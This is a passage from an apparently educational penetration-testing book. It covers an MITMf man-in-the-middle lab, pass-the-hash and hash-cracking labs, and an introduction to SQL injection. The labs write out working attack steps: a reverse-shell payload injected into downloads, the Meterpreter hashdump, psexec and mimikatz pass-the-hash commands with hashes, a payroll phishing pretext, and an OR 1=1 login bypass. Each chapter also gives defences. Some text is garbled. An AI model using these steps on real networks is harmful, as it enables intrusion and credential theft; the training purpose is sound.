type: set payload windows/meterrepter/reverse_tcp, and then press
Enter.
Next, set lhost (IP of attacking device) and lport. Remember to make sure the10.
IP and port number are the same as the MITMF config file.
After the multi-handler options are configured, type: exploit to start the11.
handler (keep this Terminal open for the remainder of the lab). The following
screenshot will display what screen you will see when starting the handler:
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Next, we will spoof our network address and inject our payload through HTTP.12.
We could also inject the payload through HTTPS, but for this lab we are only
going to show the HTTP injection method.
Open a second Terminal and navigate to the MITMF directory (from root13.
directory), by typing the following command: cd MITMF.
Once in the MITMF directory, type the following command: python mitmf.py -14.
-spoof --arp -i eth0 --gateway 192.168.246.2 --target

192.168.246.143 -filepwn and press Enter (to get the IP of the victim's
device switch to the Windows VM and open the command Terminal). In the
Terminal type: ipconfig. In a real attack, the hacker will already have this
information from the enumeration phase of the attack. Most use Nmap or
Wireshark to get the network address and system details of the target they wish
to attack. The following screenshot will display what screen you should see:
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You will also notice that after the command is entered the multi-handler will start15.
listening on the target's IP that we entered in the previous command.
Switch to the Window's victim VM and open up a web browser. In the web16.
browser navigate to a few websites to generate network traffic. Also navigate to
www.putty.org and download the putty.exe.
The MITMF will instantly start intercepting network traffic when they open a17.
web browser. You will see the network traffic in the MITMF Terminal. Opening
the web browser also allows the attacker to deliver the reverse_tcp payload
(that the multi-handler is listening for) through HTTP. The payload is disguised
as a patch to whatever the victim downloads. For example, you will notice when
we downloaded the putty.exe there was a slight delay before we could save or
run the file. That delay was a result of the attacker getting the download first and
embedding a RAT within a patch before forwarding the .exe to the victim. You
can tell right away if the attack was successful, because you will have access to a
Meterpreter session when the victims runs the putty.exe. The Meterpreter
session will appear in the Terminal you have open for the multi-handler module.
That is why you do not want to close that Terminal until the lab is finished. You
can now use Meterpreter to escalate your system privileges and open a
PowerShell remotely on the victim's device. At this point, a variety of attack
options can be used to enhance the attack.

The second tool we'll look at is called WiFi-Pumpkin; it is a GUI security tool that is used to
establish an evil twin for various MITM and network attacks. This tool is also capable of
intercepting HTTP/HTTPS traffic and manipulating it with transparent proxies. You can 
find more information, installations, and resources at the following website: h t t p s ://g i t h u

b . c o m /P 0c L 4b s /W i F i - P u m p k i n /w i k i :

Attack vectors: Rogue Wi-Fi, deauthentication clients AP, probe request monitor,
DHCP starvation attack, credentials harvesting, Window's update attack, custom
templates phishing, partial bypass HSTS, dump credentials phishing, report
HTML logs, ARP poisoning, and DNS spoofing
Supports and plugins: airodump scan, mkd3 deauth, beef hook, Mac Changer,
net-cred, dns2proxy, sslstrip, and BDFProxy-ng:

http://www.putty.org
https://github.com/P0cL4bs/WiFi-Pumpkin/wiki
https://github.com/P0cL4bs/WiFi-Pumpkin/wiki
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SSLsplit is a security tool for MITM attacks against SSL/TLS encrypted network
connections. Connections within the targeted network are transparently hijacked through a
NAT engine and rerouted to SSLsplit. Once redirected, the SSL/TLS terminates and initiates
a new encrypted connection back to the destination address, logging all data that is being
passed on through the encrypted network connection.

This tool supports the following:

Generating and signing forged certificate on the fly
Using static destination address
Plain tcp and plain SSL
HTTP/HTTPS over IPv4 and IPv6
Server Name Indication (SNI)
RSA, DSA, and ECDSA keys and DHE and ECDHE cipher suite
Uses existing certificates if the private key is available, instead of generating
forged ones
Supports null-prefix common name certificates and denies online certificate
status protocol requests in a generic way
SSLsplit removes the Public Key Pinning Extension for HTTP (HPKP) response
headers to prevent public key pinning
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For a successful MITM attack, we use ARP spoofing to redirect the traffic of the target by
issuing a false network IP from the standard gateway MAC address to the attacker's IP
address. If you have access to the victim's device, you may also change the default gateway
address in the victim's network settings. Or redirect traffic for individual domains by
modifying entries in the /etc/hosts file of the victim's machine. Another way is by
forging DNS entries with a DNS server that returns the attacker's IP address for certain (or
all) domains:



Advanced Network Attacks

[ 157 ]

Mitmproxy is a powerful tool that offers interactive inspection and modification of HTTP
traffic. It is a highly extensible tool that is intended for taking and manipulating somewhat
small samples at a time.

Knowing exactly how the proxying process works will help you effectively and creatively
utilize mitmproxy. Consider its fundamental expectations and learn how to work around
them.

Summary
After reading this chapter, you should now have a much better understanding of what an
MITM attack is and how devastating it can be. Many users are not aware of how easily an
MITM attack can be set up over a public wireless network. By completing the MITMF lab,
you obtained a level of awareness that will greatly benefit you as both a user and a cyber
security professional. This chapter also provided excellent installation and troubleshooting
experience for the same security tools that are currently being used in the field. We
recommend practicing the MITMF lab until you feel comfortable with the syntax. Also feel
free to explore the other modules of MITMF. Exploring will further enhance your
understanding, knowledge, and defense methods against this type of attack.



8
Passing and Cracking the Hash

This chapter will focus on pass the hash attacks. After reading this chapter, the user will be
able to define the characteristics of pass the hash attacks, identify what tools hackers use to
pass the hash, and how to defend against this type of attack. We have three labs prepared
for this chapter. The first lab will show how to get the hashed passwords and usernames
using a RAT. The second lab will focus on passing the administrator's hashed password and
then passing it to a second device, gaining access and establishing a session. The third lab
will demonstrate how to crack the administrator's hashed password with a tool called John
the Ripper. We will also discuss the various authentication protocols, such as Kerberos
and NT LAN Manager (NTLM). Towards the end of the chapter, we will go over defense
techniques against pass the hash attacks. For the labs in this chapter, we recommend that
you use a Kali Linux attack machine, a Windows 7 victim, and a Windows Server 2012 R2
victim. We want to stress the importance of not using this information for illegal activity.
The tools we are demonstrating in this chapter are extremely powerful and should only be
used in an ethical manner.

What is a hash?
When hackers talk about passing the hash, they are referring to the hashed value of the
password that was obtained from an exploited device. The process of hashing a password
works by utilizing a cryptographic algorithm that transforms plaintext into a fixed length
string of characters. This string of characters is called a fingerprint. A method known as
salting makes cracking a hashed password much harder. Salting a hashed password works
by adding a random string of characters before the password is hashed. A hash is
considered to be a one-way function, because it cannot be reversed.
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Hash tables are often used to index data for fingerprinting. An example of an MD5 hash
looks like this, 8743b52063cd84097a65d1633f5c74f5. An example of a salted MD5 hash
is 01dfae6e5d4d90d9892622325959afbe:7050461. The seven numbers at the end of the
string is a random set of numbers added before the hash string is created. Later in this
chapter, we will discuss how different hash functions work.

Authentication protocols
Authentication protocols are classified as cryptographic protocols that transfer
authentication data between two hosts. Windows NTLM is a suite of security protocols that
provide login authentication, file integrity, and information security. NTLM uses a
challenge-response method to authenticate user logins. NTLM will use three messages to
authenticate a user. The first message is a NEGOCIATE_MESSEGE sent from the client to the
server. The second message is a CHALLENGE_MESSEGE sent from the server to the client in
response to the client's request. The third message is an AUTHENICATE_MESSEGE sent from
the client to the server in response to the server's challenge. There are two versions of
NTLM. The second version NTLMv2 is a cryptographically superior replacement for
NTLMv1. NTLMv2 has been hardened against spoofing attacks and has the ability for the
server to authenticate the user. NTLM is still commonly used in many systems. Microsoft
recommends that systems not use NTLM for authentication because of vulnerabilities to
pass the hash attacks:

The replacement for NTLM is Kerberos. Microsoft developed Kerberos to address
the vulnerabilities found within NTLM.
Kerberos works by using symmetric-key cryptography along with a trusted third-
party for authentication. Kerberos can also use public-key cryptography. The
default port for Kerberos is 88.
During the client authorization process, a cleartext message of the user ID is sent
from the client to the authentication server. The cleartext message does not
contain the password or secret key at this stage.
Only the user ID is sent to the authentication server during this phase.
Next the authentication server searches for the user ID in the user database.
In Windows Server 2012, this database would be found in the Active Directory.
Once a match is found, the authentication server will generate a secret key. The
secret key is created by using the hashed password of the user matched within
the database.
Next the authentication server searches its database to confirm the client is in
there. After the client is confirmed, the authentication server will send two
messages to the client.
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The first message will contain the session key. The session key is encrypted from
the secret key generated by the authentication server.
The second message contains a Ticket Granting Ticket (TGT). The TGT holds
information about the client network address, client ID, ticket validity period,
and the session key.
The second message is encrypted using the secret key of the Ticker Generating
System (TGS). Once the client receives both messages the decryption process is
started.
The client decrypts the first message with the secret key generated by the 
authentication server when the password was first entered. If the submitted
password does not match the one found in the authentication server's database,
then the client will not be able to decrypt the first message.
If the client enters a valid password, the first message can be decrypted to show
the session key. The second message cannot be decrypted because it is using the
secret key of the TGS. Once the client has the session key from the first message,
the TGS will grant authentication to the client.

Now we will discuss an example of how hashed passwords work during the NTLM login
process. In a business environment, most users will belong to a domain. Some companies
may create multiple domains for different departments. When a user logs into a device,
they must enter a domain name, username, and password. After the user submits the
credentials, a hash value of the password is automatically created. In this example,
authentication will be verified by NTLMv2. According to Microsoft, the credentials NTLM
use are based on data received from the security account manager or security account
manager (SAM) database.

This data is comprised of the domain name, username, and hash value of the password.
Once the user requests login authentication, NTLM will send an encrypted challenge
message containing a 16-byte random number. The client responds by adding the hash
value of the password to the 16-byte number and sending it back to the authentication
server. From there, the authentication server will send the domain name, username, and
response (containing hashed password) to the domain controller. The domain controller
takes the username and matches it with the hashed password from the SAM database. The
password hash from the SAM database is used to create a second challenge. The domain
controller compares the two challenges and if they are the same, authentication will be
granted to the user. This login method is considered weak because it only uses one set of
credentials to verify the identity of a user. This type of login is known as a single-sign on
(SSO). Another weakness is all the usernames and hashed passwords are stored in one
location within the SAM.
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A hacker could easily steal many passwords including the admin password by dumping
the contents of the SAM database to a text file. Most hackers will exploit a device of a low-
level employee first to gain access to the SAM database on that domain. Once a hacker has
access to the SAM, they can start to attack other devices on the domain. If the hacker can get
the admin hash (most do), they will be able to attack all domains on the network. Although
the cryptographic algorithm Kerberos and MD5 use is more advanced than NTLM; they all
still use a one-way encryption method. All three authentication protocols are vulnerable to
pass the hash attacks.

Cryptographic hash functions
A cryptographic hash function works by mapping data to a fixed length string of characters.
These types of hash functions are used in many ways. They can be used for authentication,
indexing data into hashed tables, checksums, and digital signatures. Two of the most used
cryptographic hash functions are MD5 and SHA-3. MD5 was created in 1991 by Ronald
Rivest. MD5 uses a 128-bits hash value. At first it was considered secure, but today most
experts recommend not using MD5 for authentication, because of the many vulnerabilities
found over the years. MD5 works by taking variable length data and converting it into a
fixed length hash string of 128-bits. SHA is more secure than MD5. The creators of SHA are
Guido Bertoni, Joan Daemen, Michael Peeters, and Gilles Van Assche. The newest version
of SHA is SHA-3. It was released in 2015. Most people confuse encryption with hashes. It is
important to understand that hashes are digests not encryption. A digest is used by a hash
to summarize a compiled stream of data. Hashes are also a one-way function. Encryption
converts plaintext data into ciphertext then converts it back to plaintext when the correct
keys are given. This is a two-way function unlike hashes, which cannot be reversed. This is
an important distinction to make.

How do hackers obtain the hash?
As mentioned earlier, a hacker will usually target a low-level employee that has a device
with line of sight (direct access) to a workstation server on the network. A hacker may then
send a payload in the form of a RAT, such as the one we created in Chapter 4, Creating a
RAT Using Msfvenom. A socially engineered e-mail is created posing as the HR department.
Within the e-mail an urgent message is placed telling the employee a payroll error has been
made. The message will then direct the user to click on the attached link to verify their
identity for the payroll department. Most employees will click on the link in fear of their
paycheck being disrupted if they don't.
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Once the employee clicks on the link the hacker will have an established session on the
employee's device. From there, the hacker will issue a command to dump the contents of
the SAM database of the domain the victim is connected to. After the hacker has found the
hashed passwords for different devices, they will begin infecting the entire domain by
passing the hash value of the passwords. The hacker can use the stolen hashes to issue an
authentic response to the server's challenge, which will in turn also match the second
challenge issued by the domain controller granting access to another device. This process
can be repeated until the hacker has control of every device on the network. Most hackers
will first locate the admin hash. By having the admin hash, a hacker can gain access to any
device on the network.

What tools are used to get the hash?
To extract the hash passwords from a victim, some hackers will use Metasploit. By using 
Metasploit a hacker can create a reverse_tcp payload and use it to establish a
meterpreter session on the victim's device. Once a meterpreter session is created, the
hacker can dump the contents of the SAM by typing the command hashdump. Before
hashdump can be successfully executed, the attacker must type getsystem and getprivs
to escalate their level of access on the victim's device. The following lab will demonstrate
how this is done. Screenshots are provided to help you follow along.

Step one involves creating a payload to send to the victim. For this lab, we will use
msfvenom to create a meterpreter reverse_tcp payload:
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The preceding screenshot displays the successful creation of a reverse_tcp payload.

After we have created the payload the second step is to set up the multi-handler. We will
need to set the payload, LHOST, and LPORT for the multi-handler. Once the options are set
we type exploit and start the handler. Once the victim activates the payload, a
meterpreter session will be established. The following screenshot demonstrates what an
established session looks like:

The third step is to escalate system privileges on the victim machine. We need to type two
commands. The first command is getsystem and the second one is getprivs. By
escalating our system privileges, we can now execute the command hashdump. The
following screenshot shows the successful escalation of system privileges on the victim
machine:
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The fourth and final step is to now type the command run hashdump. By using this
command, we can get the hashed passwords of the user and administrator. A hacker would
use these hashes to gain access to other devices on the domain. Normally you would see
hundreds or even thousands of usernames and password hashes on a large enterprise
business network. The following screenshot displays what the hashed passwords look like:

Now that we have successfully captured the password hashes, we can move on to the next
lab. In this second lab, we will demonstrate how to pass the hash, allowing access to
another device. Kali Linux comes with a Pass the Hash toolkit. This toolkit is excellent at
executing pass the hash attacks. Other great tools that can be used are mimikatz and
PsExec.

The next lab will demonstrate how to use several different tools to pass the hash. The first
tool is the Pass the Hash toolkit. We will type -pth-winexe -U followed by the
harvested credentials. The following screenshot shows the command:

Another way to pass the hash is to use a tool called PsExec. This tool can be found within
Metasploit. The setup for PsExec is same as the multi-handler setup:

We start by typing msfconsole.1.
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We then type use exploit/windows/smb/psexec. The next screen will ask us2.
to set the options for the listener.
First we set the payload by typing set payload3.
windows/meterpreter/reverse_tcp.
Now we set the LHOST 192.168.57.130, LPORT 443, and the RHOST4.
192.168.57.131. The RHOST IP is the victim device.
The final option to set is the smb password.5.
Type set SMBPass and enter the hash of the device you wish to gain access to.6.
Type exploit and you will see a meterpreter session established to the7.
victim's device.

Hackers will often establish multiple sessions to maintain access to a device. If a session dies
they can use two or three other backup sessions to continue with the attack.

The following screenshot shows a successful meterpreter session being established on a
second device by passing the hash:
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The third pass the hash tool we will demonstrate is called mimikatz. This is a great tool to
use for passing the hash. mimikatz is classified as a post-exploitation tool. It was created by
Benjamin Delpy. mimikatz has many features besides passing the hash. For example, if you
want to obtain the hashes through mimikatz, use the command mimikatz_command -f
hashdump::hashes. The following screenshot demonstrates what this command looks
like:

For this example, we will be using a module found within mimikatz called sekurlsa. First
type mimikatz, and then type sekurlsa::pth /user:Administrator
/domain:ethicalhaks.local /ntlm:cc36cf7a8514893efccd332446158b1a

/run:cmd. The cmd argument at the end of the command will open a shell on the victim
machine. You can also type -w hidden after cmd to hide the shell being opened on the
victim's device. One interesting characteristic of mimikatz is since the creator is from
France; many of the module description pages are in French instead of English. The
following screenshot shows what one of the module pages looks like:
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The following screenshot shows a meterpreter session established on a second device by
mimikatz. Once we have a second meterpreter session opened we can now dump the
hashes of the domain the second device is connected to. This is an excellent technique to
quickly compromise multiple domains:
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How are hashes cracked?
Sometimes a hacker may choose to crack the hash instead of passing it. There are many
great tools available to crack password hashes such as rainbowcrack. This tool uses
rainbow tables to crack hashes. Rainbow tables are used for longer passwords. The way
they work is by using hash and reduction functions. Hash functions map plaintext to hashes
and reduction functions map hashes to plaintext. These functions create chains of hash
values mapped to plaintext. The chain starts with a specific plaintext and ends with a
specific hash. The plaintext at the beginning of the chain is hashed by the hash function and
then reduced by the reduction function to create a different plaintext. This pattern can
repeat many times generating millions of hashes from a single plaintext and a single hash.
Creating rainbow tables can take hours to complete depending on how you want to
configure your rainbow table. Project rainbowcrack has a website that provides different
charset definition files to create powerful rainbow tables for cracking different types of
hashes. The following screenshot demonstrates how to create a rainbow table using
rainbowcrack:
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The rainbow table being generated in the screenshot has over 33 million chains. It took over
two hours to generate this rainbow table. Once the table is generated we can use it to crack
the hash. To do this we will type rcrack *.rt -h
5d41402abc4b2a76b9719d911017c592 . This command will crack the hash using the
rainbow table we generated in the preceding screenshot. rainbowcrack is available in both
Linux and Windows. The Windows version uses a GUI that makes the process easy and
simple. The following is a screenshot showing the Windows GUI version of rainbowcrack:

Another tool that can be used to crack the hash is called John the Ripper. This tool is
developed for Linux and is open source. John the Ripper offers different ways to crack
the hash. One way is to use a dictionary attack method. The dictionary attack works by
taking a text string samples from a password list and encrypting it with the same type of
encryption as the password that is being cracked. It then compares the output to the
password hash looking for a match. This can be a good method depending on the quality
and size of the password list. There are many pre-made password lists available for
download. Another attack that John the Ripper can execute is called a brute-force
attack. This attack works by examining all possible plaintext combinations then hashing out
each one and comparing it to the hash that is being cracked. Character frequency tables are
used to try the most commonly used characters first. This helps to make the process more
efficient. Brute-force attacks often take a long time to complete. John the Ripper comes
with built-in password lists to use for dictionary attacks.
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The following screenshot shows how to crack a Linux password using John the Ripper:

As you can see from the preceding screenshot the command is very simple. Once you have
the hash copy it into a .txt file and place it in the /home directory. This tool is highly
effective for cracking hashes. The free version of John the Ripper comes built-in with
Kali Linux. The paid version called John the Ripper Pro supports more hashes, but
otherwise operates the same as the free version. John the Ripper is also available for Mac
OS X and Windows.

How do pass the hash attacks impact
businesses?
Some of the most devastating and costly cyber-attacks have attributed to pass the hash
attacks. One of the most famous examples of this is the Target hack. The attack on Target
started on November 27 and ended on December 22. During that time over 70 million
customers had their personal data stolen. Next, hackers installed malware on the point-of-
sale terminals (cash registers), which allowed them to steal 40 million credit cards. An
interesting detail about the Target hack is that the first compromised device on Target's
network didn't even belong to Target. The initial device to be infected was from a third-
party AC vendor named Fazio Mechanical Services. The AC vendor was contracted to
monitor the temperature sensors and maintain Target's HVAC equipment. The vendor had
access to a shared drive on Target's network for billing and project management purposes.
Unfortunately for Target, one of the vendor's devices was unsecure. Hackers infected the
unsecure device with malware.
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After infecting Fazio Mechanical's device, the hackers were able to get the hashes for every
user on the domain that Target used for billing. Next, hackers passed the hashes until every
domain was compromised including the domains that held customer databases and credit
cards. The hackers disguised their malware with the name BladeLogic. According to Jim
Walter Director of Threat Intelligence, "The malware utilized is absolutely unsophisticated and
uninteresting." Jim also stated, "If Target had had a firm grasp on its network security
environment, they absolutely would have observed this behavior occurring on its network." Target
has suffered greatly from this attack. According to the Wall Street Journal, the Target hack
cost financial institutions over $200 million. Each stolen credit card cost $10 to replace. As
mentioned earlier, over 40 million credit cards were compromised. Financial institutions
also had to cover the costs of fraudulent activity on the stolen cards. There have been 90
lawsuits filed so far against Target. Target CEO Gregg Steinhafels was fired not long after
the level of damage had become clear. It is estimated that Target could face paying a total of
$1 billion in damages related to this hack. This attack would not have been successful if the
hackers didn't use pass the hash. Passing the hash allowed the hackers to operate with
speed, stealth, and efficiency. There are many ways Target could have prevented this attack
from happening. Lack of awareness and poor network monitoring sealed the fate of Target's
network security. There have been many other instances where passing the hash was used
on businesses, but the Target hack caused a level of devastation previously not seen before.

What defences are there against hash
password attacks?
Defending against pass the hash attacks it not very hard. One way to defend against pass
the hash attacks is to make sure all servers, laptops, workstations, or any other devices on
the network are secure. Password policies should be routinely updated to provide the
strongest security possible. Many users will not like changing their passwords constantly,
but it could make the difference in preventing a pass the hash attack. When creating a
strong password, it is more important to choose length over complexity. A password over
15 characters is much harder to crack than a more complex password using eight characters.
It is also important that passwords are never reused for other locations. The password
policies should be stronger for domain accounts. Password management software can be
helpful. Thycotic's secret sever privileged account management (PAM) software is a good
choice. PAM manages, encrypts, audits, and automatically changes passwords after a
credential is used.



Passing and Cracking the Hash

[ 173 ]

In Windows PAM controls the life cycle of a domain admin password. This limits the
window of opportunity for the hacker to use the stolen hash. According to the creators of
PAM, real-time threat analysis is also provided to keep constant watch over the network for
any signs of attack. Automated messages will be sent out by PAM if there is an attack. It is
also recommended that LAN Manager (LM) is disabled. LM is an obsolete hash function
that has been thoroughly compromised. In Windows, you can use the NoLMHash policy 
found in the Group Policy options within Active Directory. Using IPSEC to restrict logons
between specific devices is a good way to minimize the potential damage of an attack.
Other tools such as PAM are, CyberArk Viewfinity, SSH Key Manager, Enterprise
Password Vault, and Application Identity Manager. It is important to remember to use anti-
malware scanning tools to detect pass the hash tools being used on the network. Intrusion
detection systems such Snort are good to use for defense. Stopping a pass the hash attack
may seem difficult at first, but if the right security methods are being practiced attacks can
be stopped before they get started.

Summary
The effectiveness of pass the hash attacks have been demonstrated and discussed
throughout this chapter to build an understanding of why hackers use this attack. It is
important as a cyber security professional to understand the vulnerabilities found within
authentication protocols and hash functions. Understanding how NTLM and Kerberos
authenticate users is fundamental in creating strong defenses against password attacks. It is
recommended to keep up to date on new changes to authentication protocols, to not fall
victim to unforeseen vulnerabilities. Knowing how to use different types of passing and
crack hashing tools will allow for much better awareness against this type of attack in the
future. Remember the lessons from the Target hack. As we discussed in this chapter, pass
the hash attacks can be stopped or at least mitigated by having strong security policies and
practicing effective security methods.
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9
SQL Injection

This chapter will provide a better understanding of structured query language (SQL)
injections and vulnerabilities. The topics covered will include:

Learning what hashes are
How they function within a network
Defining SMB
How it operates within a network
Learning what an SQL injection is
How it is used by attackers
Examples of SQL injection methods
Learning the basic website vulnerabilities involving injection attacks
Defense techniques against SQL injection attacks

In the labs we provide, you will be using Metasploit to pass the hash of a Windows login
credential. We will also talk about how a web server databases work and why hackers use
SQL injection to steal data from them. This chapter will explore a new type of attack vector
that hackers often use to steal credentials from web-server's databases. This chapter will
highlight many of the most common SQL vulnerabilities that are exploited by hackers. After
reading this chapter, the user will be able to clearly define how SQL operates and formulate
effective defense SQL injection attacks. Having this knowledge will greatly increase the
effectiveness of the reader's cyber security skills. Being able to confidently protect against an
attack as serious as SQL injection can make all the difference in the survival of a company.
This chapter will provide examples of what SQL injection attacks look like and how to
detect attacks using various cyber security tools. We recommend not to use SQL injection
on a website that you are authorized for. Please do not use this information for any illegal
activity.
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What is SQL and how does it work?
SQL is a special-purpose programing language used for the management of data within
either a stream or database type relational management system. Basically, think of SQL as a
set of instructions used to interact with relational databases. SQL was first designed in the
early 1970s by Donald D. Chamberlin and Raymond F. Boyce, who worked for IBM. Later,
in the 1970s Oracle developed their own version. SQL was adopted as a standard by the
American National Standards Institute (ANSI) in 1986. One of the most common
applications of SQL is used by database-driven dynamic web pages. When a user inputs
data into a text field on a web page, an SQL query retrieves the information from the
database and uses it to generate the next web page. SQL is comprised of three different
types of languages. These languages are: data definition language, data manipulation
language, and data control language. Two important key terms to get familiar with are
tables and relational database management system (RDBMS). A table is a set a of data 
arranged in columns and rows. The columns represent the characteristics of stored data and
the rows define actual data entries. RDBMS is software that stores and manipulates data
arranged in relational database tables. When understanding SQL, it is important to
understand how SQL is divided into different language elements. The first of these
language elements is called clauses. Clauses are constituent components of statements and
queries. A second language element is expressions. Expressions are used to create tables
with rows and columns of data. The third language element is predicates. This language
element specifies conditions that use Boolean truth values to limit the effects of statements
and queries. The fourth language element is queries. This language element is greatly
important in SQL. Queries are responsible for retrieving the data based on certain
conditions. The fifth language element is called statements. Statements control the
transactions, program flow, connections, and sessions. The query is the most common
function used by SQL. Queries use declarative statements to find data within one or more
tables. Queries allow the user to give details about the data they want to retrieve. When an
* is used, it means the query should retrieve all columns from the queried tables. Now we
will discuss and demonstrate how to use SQL commands.

SQL command examples
The first example will demonstrate how to select data from a table:

SELECT <Column List> FROM<Table Name> WHERE <Search Condition>
SELECT FirstName, LastName, OrderDate
FROM Orders WHERE OrderDate > '12/20/2016'
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The next example will show you how to update data in a table:

SET <Column1> = <Value1>, <Column2> = <Value2>, ...WHERE <Search Condition>
UPDATE OrdersSET FirstName = 'John', LastName = 'Who'WHERE LastName='Who'

The select query from the first example can be broken into four clauses: select, from, where,
and order by. The most basic select statement only has two parts. The first part is what
columns you want to return. The second part is what tables those columns come from.
Remember, if you want to retrieve all information in a table, a * can be used as a shortcut
for all columns in a table. The where clause of the select query limits and filters the data
retrieved from the database. When adding where to the select statement it adds one or more
conditions that must be met by the selected data in order for it to be retrieved from the
database. This will limit the number of rows that are returned with the query.

SQL injection
Now that we have discussed what SQL is and how it works, we will cover some SQL vulnerabilities. As we
learned earlier in this chapter, SQL is a set of instructions used to interact with a relational database.
Sometimes hackers will manipulate those instructions to exploit how SQL functions. A hacker will manipulate a
SQL statement to include a malicious payload within the query of the SQL statement. Here is an example of a
normal SQL:

# Define POST variables
uname = request.POST['username']passwd = request.POST['password']# SQL
query vulnerable to SQLisql = "SELECT id FROM users WHERE username='" +
uname + "' AND password='" + passwd+"'"
# Execute the SQL statement
database.execute(sql)

A hacker would then look at this code and decide where to inject malicious code. The
hacker could inject malicious code that would alter the SQL statement executed by the
database server. Sometimes the injection could be simple such as setting the password field
to password' OR 1=1. Once the query is executed, the authentication process will be
bypassed. The full injection code looks like this: SELECT id FROM users WHERE
username='username' AND password='password' OR 1=1'. An attacker can not only
bypass the authentication process, but they can also impersonate someone else. Remember
that one of the main functions of SQL is to select data based on a query. If a website has a
SQL vulnerability, a manipulated query could cause all the data with the database to be
released to a hacker. This is often the main goal of this type of attack. Some hackers can use
SQL injection to retrieve all usernames and passwords found within the database.
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This can be a devastating attack that can cause great damage to a business. It is important to
remember that SQL injection only needs two conditions to exist for it to be successful. The
first condition is a relational database that uses SQL and the second is a user controlled
input that is directly used in an SQL query. Sometimes developers of a database will enable
error reporting during the development of a website. Although this can be useful for
developers, if left on when the website is live, a hacker could use the errors to learn about
the structure of the database. Another common way hackers exploit SQL is to manipulate
the UNION SQL operator. A hacker can use the UNION operator to combine the results of
two or more select statements into a single result. This will force the application to return
the data with an HTTP response. The HTTP response is unencrypted, leaving it easy to read
by hackers. A hacker will usually attach a malicious query to the original query that would
normally be run by the application. This method of attack is called union-based SQL
injection. According to the FBI, over 20 percent of web-based application vulnerabilities are
through SQL. It is the second most common software vulnerability. As a cyber security
professional, it is critical that SQL vulnerabilities are quickly recognized and addressed. The
next part of this chapter will focus on discussing real-world SQL attacks and what lessons
can be learned from those attacks.

Examples of SQL injection attacks
As we learned earlier in the chapter, SQL injection attacks are very common. Many websites
have been compromised over the years by hackers exploiting vulnerabilities found within
the use of SQL. Let us look at some recent examples of SQL attacks. According to eSecurity
Planet, on July 11, 2012 a hacker group known as D33Ds Company hacked Yahoo!. The
hackers publicly dumped over 450,000 Yahoo! usernames and passwords. The attack vector
used was a union-based SQL injection attack. According to a security report written by the
Ponemon Institute, "the average SQL injection attack takes over two months to clean up and some
65 percent of organizations of all types have been hit by a SQL injection attack in the past 12
months." The Ponemon report also showed that 20% of the respondents to the report were
from the financial sector, 12% from the public sector, 10% from retail, 9% from health and
pharmaceuticals, 8% from services, 7% from industrial, and 6% from consumer products.
As we see from the report, most hackers are targeting the financial sector. We can also
observe from the report that SQL injection attacks have a diverse range of victims.
According to SCMagazineUK, in late January 2015 a hacker group known as Focus dumped
over 50,000 records from archos.com. The records contained personal and corporate e-mail
addresses hosted on French and international domains. It also included names of
customers. The records dump was first spotted by Troy Hunt and Arthur Clune. Cyber
security researchers have pointed out some of the flaws found in the security setup that
archos.com had in place.

http://archos.com/
http://archos.com/
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The first flaw was that there was no SSL or TLS encryption used to store and send
passwords. There were also only single-sign-on credentials being used to authenticate
users. According to security researcher Troy Hunt, "the setup was very sloppy and that's just
from observations using the system as it was designed to function." It is also noted that the input
wasn't filtered, which allowed the hacker group, focus to easily manipulate the SQL
commands. It is important when studying examples of attacks to learn from others
mistakes. By recognizing the flaws in a security deployment, a cyber security professional
can quickly and efficiently address issues before major damage can be done. There are
currently no signs of SQL injection attacks decreasing. That is why, as a security
professional, it is important to stay current in the latest news and research concerning SQL
injection attacks.

Ways to defend against SQL injection
attacks
SQL injection attacks remain common and continue to cause problems for many
organizations. There are some great methods to defend against SQL injection that every
cyber security professional should be aware of. We will discuss the five best ways to defend
against SQL injection attacks:

The first method is to use a web application firewall. Modsecurity is an open-
source version offered for free. Modsecurity works on Apache, Microsoft IIS, and
nginx web servers.
The second method is to suppress error messages. Hackers will often use error
messages for reconnaissance. If the messages are at least kept local, it can prevent
the hacker from learning too much about the structure of the database.
The three method is to constantly monitor SQL statements from database-
connected applications. It is important to constantly watch for malicious SQL
statements so the attack can be mitigated before major damage is done to the
database. There are several monitoring tools available to detect SQL injection
attacks. Tools with behavioral analysis or machine learning can be the most
useful.
The fourth method is to use data sanitation. This method requires websites to
filter all user input such as e-mails or phone numbers.
The fifth method is to regularly apply software patches. Most SQL injection
vulnerabilities are found within commercial software. Unpatched software is one
of the easiest attack vectors for a hacker to use. It's critical to keep all software
fully updated with the latest patches.
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Attack vectors for web applications
Web applications are increasing in growth and popularity among many businesses and e-
commerce websites. So, we will begin to explore various attack vectors that can be
categorized to a general few. However, there may are perhaps hundreds to thousands of 
different techniques to use and methods to attack that'll grow as technology advances.

Attacking the client-side controls is famous amongst web application hacking. Capturing,
transmitting, and manipulating user data is the ultimate purpose for this type of attack,
which includes private or confidential information that could potentially be used to steal
from, destruct, or leak out to cause harm.

We may be able to bypass authentication if we can breakdown the application's session
management because of its responsibilities to uniquely identify a user through multiple
requests without having to re-authenticate for every request. If done successfully, you will
no longer need a username and password to gain access. We will look deeper into this with
backend hacking such as SQL injection with sqlmap. You could also perform a path
traversal attack which targets for files and directories that are stored outside of the root
directory. A file inclusion attack, also known as remote file inclusion (RFI) and local file
inclusion (LFI), is an exploit by attaching additional files to deliver a payload unto the end
users. Hackers may even try attacking the web service with XML and SOAP injection.

We could also hack the end user or another commonly famous term for this is social
engineering people. But how we hack people is by getting them to click on our rigged
website on their browser potentially uploading malware onto their system. Using several
techniques, we can engineer the unknowing user to guide them to go where we want them
to with methods such as XSS, request forgery, hooking the browser, and violating of the
same origin policy.

Bypassing authentication
There are various bypassing authentication methods such as capturing tokens and
replaying them, client-side piggybacking, and cross-site request forgery. Some common
tools include the Burp Suite and THC-Hydra for brute forcing attacks for password
cracking that we'll briefly consider. THC-Hydra is an effectively fast, free, and legal login
cracker developed for cyber security researchers and professionals to show how easy and
vulnerable it is bypass certain authentication. It does require for certain parameters to be
met such as the address IP, URL, form type, a username field, a password field, and failure
response. We'll also be using the Burp Suite as a proxy, for example, but you can use any.
You can launch it from a Linux Kali and enable the proxy and go under the "Intercept" tab
to turn it on.
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Now go ahead into your Kali and open a browser and click on Edit | Preferences
| Advanced | Network | Settings to open the Connection Settings. Check Manual Proxy
configuration and clear everything out if there's anything pre-texted so that you can input
the localhost address (127.0.0.1) in the HTTP Proxy using port 8080. You can then start
up your Apache service with the login module placed in the correct service directories. Or if
you want to explore deeper, check out the Damn Vulnerable Web Application (DVWA). It
is, as the name implies, designed to help aid learning about web application security,
vulnerabilities, and threats through a controlled environment. There are guides on setting
